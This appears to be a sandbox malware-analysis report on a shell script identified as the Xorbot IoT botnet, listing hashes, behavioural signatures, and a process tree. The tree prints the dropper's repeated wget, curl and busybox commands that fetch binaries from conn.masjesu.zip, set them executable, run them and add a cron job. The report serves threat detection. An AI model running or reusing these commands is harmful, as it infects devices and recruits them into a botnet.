Analysis

  • max time kernel
    110s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/03/2025, 03:35

General

  • Target

    7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh

  • Size

    10KB

  • MD5

    0d6abf13920f9568901114a1d17cdfd6

  • SHA1

    8f51702b2844fafb5952fa36d21c2b47de532b5f

  • SHA256

    7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb

  • SHA512

    0e8c146bd5d415028be102875ebb16d2b898f3923252b11cfeb179fd58a8ef36a54772709f514d6297449e8fdb4246740084f9ed93dad9bdd675905cdf67b795

  • SSDEEP

    192:RdZtmvfC3A3k3x3+3e3LjHkJpgL5d5l5uFpY90cva22sYaGiQa3vvLCLuLzm+v0q:RdZtmvfC3A3k3x3+3e3LjHkJpgLHzJ9p

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1693) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 18 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh
    /tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh
    1⤵
    • Executes dropped EXE
    PID:645
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:648
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:653
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:667
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:753
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:754
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:755
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:757
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:758
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:759
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:761
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:762
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:763
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:765
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:766
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:767
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:769
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:770
              • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                  PID:771
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:773
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:774
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • Checks CPU configuration
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:777
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:779
                  • /bin/chmod
                    chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • File and Directory Permissions Modification
                    PID:780
                  • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                      PID:781
                    • /bin/rm
                      rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                      2⤵
                        PID:783
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:784
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:790
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:792
                      • /bin/chmod
                        chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • File and Directory Permissions Modification
                        PID:793
                      • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        PID:794
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:796
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:797
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:798
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  • Reads runtime system information
                                  PID:799
                            • /bin/rm
                              rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
                              2⤵
                              • System Network Configuration Discovery
                              PID:801
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
                              2⤵
                              • System Network Configuration Discovery
                              PID:804

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /var/spool/cron/crontabs/tmp.azqcwb

                            Filesize

                            210B

                            MD5

                            38a8c442579edf80f0a6029b066596ee

                            SHA1

                            81d52e7d425c71cf149f1df0a6e23d21bf5564d5

                            SHA256

                            9485509ae05b424aa5e98901cd2178e9d9a6385cda8dba7f7c23cd8b4b2aefc7

                            SHA512

                            8921e90d2ca650b5e84a76625a66687a1f797f8f8651cd32ce4b2f0d410cc1da3dc8cae299ed9a97de1008dd81696137c7091106d5fc6c13cc4122a9b8be8887